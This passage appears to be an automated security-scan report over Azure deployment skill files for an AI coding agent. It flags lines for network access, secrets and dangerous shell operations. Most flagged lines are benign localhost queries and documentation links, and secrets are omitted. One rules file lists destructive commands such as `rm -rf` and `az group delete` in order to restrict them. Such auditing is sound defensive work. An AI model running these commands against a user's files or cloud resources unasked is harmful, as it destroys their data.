    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 104
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 106
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 107
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 121
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 129
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 130
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/claude-code/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/claude-code/skills/azure-prepare/references/apim.md

  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 209
    - [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview)
  • Network accessline 210
    - [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service)
  • Network accessline 211
    - [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management)
  • Network accessline 212
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)

harness/claude-code/skills/azure-prepare/references/aspire.md

  • Network accessline 267
    | Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 268
    |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github.
  • Network accessline 269
    | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 270
    | AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy |
  • Network accessline 271
    | AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration |
  • Network accessline 272
    | eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app |
  • Network accessline 418
    - [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/)
  • Network accessline 419
    - [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 420
    - [Aspire Samples Repository](https://github.com/dotnet/aspire-samples)
  • Network accessline 421
    - [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)

harness/claude-code/skills/azure-prepare/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-prepare/references/azure-context.md

  • Network accessline 121
    - Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Referen
  • Network accessline 122
    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser
  • Network accessline 123
    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value

harness/claude-code/skills/azure-prepare/references/functional-verification.md

  • Network accessline 42
    │   ├── User says yes │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar
  • Network accessline 43
    │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar │   │   └── Static site? → Open in browser, verify rendering
  • Network accessline 44
    │   │   ├── API-only / no UI? → Test endpoints with curl or similar

harness/claude-code/skills/azure-prepare/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
  • Dangerous shell operationline 33
    - ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui

harness/claude-code/skills/azure-prepare/references/plan-template.md

  • Network accessline 119
    - **If quota CLI is NOT supported** (returns `BadRequest`):      - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)
  • Network accessline 120
    - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)      - Get limit: [Azure service limits documentation](https://l
  • Network accessline 121
    - Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 141
    - **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY 
  • Network accessline 142
    - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic
  • Network accessline 143
    - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-

harness/claude-code/skills/azure-prepare/references/recipes/azd/aspire.md

  • Network accessline 68
    .NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd
  • Network accessline 106
    If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`:
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 145
    **Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version.
  • Network accessline 224
    - [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/)
  • Network accessline 225
    - [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/)
  • Network accessline 226
    - [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
  • Network accessline 227
    - [Samples](https://github.com/dotnet/aspire-samples)

harness/claude-code/skills/azure-prepare/references/recipes/azd/docker.md

  • Access to secretsline 99
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/recipes/azd/iac-rules.md

  • Network accessline 50
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 51
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    > ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique
  • Network accessline 70
    - [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type

harness/claude-code/skills/azure-prepare/references/recipes/azd/terraform.md

  • Network accessline 478
    - [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 479
    - [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform)
  • Network accessline 480
    - [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 481
    - [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)

harness/claude-code/skills/azure-prepare/references/recipes/bicep/patterns.md

  • Network accessline 55
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 56
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/claude-code/skills/azure-prepare/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table

harness/claude-code/skills/azure-prepare/references/research.md

  • Network accessline 7
    1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** 
  • Network accessline 8
    2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros
  • Network accessline 9
    3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes

harness/claude-code/skills/azure-prepare/references/resources-limits-quotas.md

  • Network accessline 59
    2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 96
    | Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h
  • Network accessline 97
    |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l
  • Network accessline 98
    | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer
  • Network accessline 158
    |-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man
  • Network accessline 159
    | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription
  • Network accessline 160
    | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 210
    - **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 211
    - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation
  • Network accessline 212
    - [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits

harness/claude-code/skills/azure-prepare/references/runtimes/nodejs.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 173
    # Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \   CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 174
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 175
    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 209
    if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {     if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Network accessline 210
    if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);   }
  • Network accessline 211
    return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Access to secretsline 241
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/security.md

  • Network accessline 268
    - [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview)
  • Network accessline 269
    - [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview)
  • Network accessline 270
    - [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 271
    - [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)

harness/claude-code/skills/azure-prepare/references/services/app-service/sku-selection.md

  • Network accessline 33
    > 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures.
  • Network accessline 37
    Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv
  • Network accessline 39
    Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md

  • Network accessline 37
    enabled: true         registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 38
    registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'           clientId: appRegistration.properties.appId
  • Network accessline 39
    openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 67
    web: {     redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 68
    redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'     ]
  • Network accessline 69
    'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 94
    - [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization)
  • Network accessline 95
    - [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/)
  • Network accessline 96
    - [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md

  • Network accessline 37
    {   "AzureAd": {     "Instance": "https://login.microsoftonline.com/",
  • Network accessline 38
    "AzureAd": {     "Instance": "https://login.microsoftonline.com/",     "TenantId": "<tenant-id>",
  • Network accessline 39
    "Instance": "https://login.microsoftonline.com/",

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md

  • Network accessline 19
    const client = jwksClient({   jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 20
    jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 46
    algorithms: ["RS256"],         audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
  • Network accessline 47
    audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,       },
  • Network accessline 48
    issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md

  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    # Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Network accessline 42
    algorithms=["RS256"],             audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
  • Network accessline 43
    audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",         )
  • Network accessline 44
    issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md

  • Network accessline 33
    | Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 34
    |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database |
  • Network accessline 35
    | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 87
    - [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app)
  • Network accessline 88
    - [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started)
  • Network accessline 89
    - [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md

  • Network accessline 84
    - [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview)
  • Network accessline 85
    - [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication)
  • Network accessline 86
    - [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md

  • Network accessline 19
    const credential = new DefaultAzureCredential(); const TOKEN_SCOPE = "https://redis.azure.com/.default";
  • Network accessline 20
    const TOKEN_SCOPE = "https://redis.azure.com/.default";

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md

  • Network accessline 25
    # Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Network accessline 26
    _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300  # Refresh 5 minutes before expiry
  • Network accessline 27
    _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md

  • Network accessline 79
    - [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration)
  • Network accessline 80
    - [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/)
  • Network accessline 81
    - [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md

  • Access to secretsline 96
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/selection.md

  • Network accessline 7
    Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/web-api.md

  • Network accessline 15
    **Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 179
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 180
    - [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices)
  • Network accessline 181
    - [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)

harness/claude-code/skills/azure-prepare/references/services/app-service/templates/web-app.md

  • Network accessline 14
    **Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 106
    ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 108
    CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 179
    - [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore)
  • Network accessline 180
    - [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs)
  • Network accessline 181
    - [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)

harness/claude-code/skills/azure-prepare/references/services/container-apps/day2-operations.md

  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/container-apps/environment.md

  • Network accessline 25
    {       name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
  • Network accessline 26
    name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'       identity: managedIdentity.id
  • Network accessline 27
    keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'

harness/claude-code/skills/azure-prepare/references/services/container-apps/terraform.md

  • Network accessline 157
    output "api_url" {   value = "https://${azurerm_container_app.api.ingress[0].fqdn}"
  • Network accessline 158
    value = "https://${azurerm_container_app.api.ingress[0].fqdn}"

harness/claude-code/skills/azure-prepare/references/services/cosmos-db/sdk.md

  • Access to secretsline 26
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/README.md

  • Network accessline 28
    # Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions)
  • Network accessline 32
    # Dashboard available at http://localhost:8082
  • Network accessline 49
    | Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 50
    |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId
  • Network accessline 51
    | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 72
    - [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab
  • Network accessline 73
    - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht
  • Network accessline 74
    - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler)
  • Network accessline 75
    - [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview)
  • Network accessline 76
    - [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler)
  • Network accessline 77
    - [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)

harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md

  • Network accessline 65
    To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 
  • Network accessline 82
    > **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf
  • Network accessline 100
    > **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).

harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview)
  • Network accessline 20
    > **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work
  • Network accessline 47
    "FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 48
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 49
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/java.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java)
  • Network accessline 27
    > **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version.
  • Network accessline 56
    "FUNCTIONS_WORKER_RUNTIME": "java",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 57
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 58
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 204
    public class App {     public static void main(String[] args) throws Exception {         String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
  • Network accessline 206
    String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript)
  • Network accessline 21
    > **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "node",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
